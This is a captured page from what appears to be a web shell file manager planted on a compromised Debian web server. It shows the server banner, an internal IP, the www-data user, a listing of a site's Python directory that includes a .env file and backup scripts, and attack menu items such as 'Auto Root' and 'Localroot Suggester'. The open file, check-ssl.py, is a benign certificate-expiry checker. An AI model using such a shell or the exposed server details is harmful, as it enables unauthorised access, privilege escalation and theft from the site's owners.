Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
python /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-sr-x
2025-12-29 08:35
app
[ DIR ]
drwxr-sr-x
2025-10-28 07:05
venv
[ DIR ]
drwxr-sr-x
2025-12-29 09:06
.env
479
B
-rw-r--r--
2025-12-29 08:31
.htaccess
44
B
-rw-r--r--
2025-12-29 08:31
check-ssl.py
1.36
KB
-rw-r--r--
2025-12-29 08:31
config.py
5.79
KB
-rw-r--r--
2025-12-29 08:31
db-bck.py
10.9
KB
-rw-r--r--
2025-12-29 09:24
db-transfer-no-longer-needed.py
3.94
KB
-rw-r--r--
2025-12-29 08:31
env.example
5.5
KB
-rw-r--r--
2025-12-29 08:31
requirements.txt
266
B
-rw-r--r--
2025-12-29 08:59
run-backup.sh
529
B
-rw-r--r--
2025-12-29 09:24
send-mail.py
1.3
KB
-rw-r--r--
2025-12-29 08:31
server-checks.py
2.93
KB
-rw-r--r--
2025-12-29 08:31
setup-env.sh
3.03
KB
-rw-r--r--
2025-12-29 09:06
Save
Rename
import ssl import socket from datetime import datetime def check_ssl_expiry(domain, port=443): try: # Connect to the server and get the certificate context = ssl.create_default_context() with socket.create_connection((domain, port), timeout=5) as sock: with context.wrap_socket(sock, server_hostname=domain) as ssock: cert = ssock.getpeercert() # Extract expiration date expiry_date = datetime.strptime(cert['notAfter'], "%b %d %H:%M:%S %Y %Z") days_remaining = (expiry_date - datetime.utcnow()).days # Display results print(f"Domain: {domain}") print(f"SSL Certificate Expiration Date: {expiry_date.strftime('%Y-%m-%d')}") print(f"Days Until Expiry: {days_remaining}") # Return results return { "domain": domain, "expiry_date": expiry_date.strftime('%Y-%m-%d'), "days_remaining": days_remaining, "status": "Valid" if days_remaining > 0 else "Expired" } except Exception as e: print(f"Error checking {domain}: {e}") return { "domain": domain, "error": str(e), "status": "Error" } # Example Usage if __name__ == "__main__": domains = ["igotafrica.com", "veri-rent.co.za"] for domain in domains: check_ssl_expiry(domain)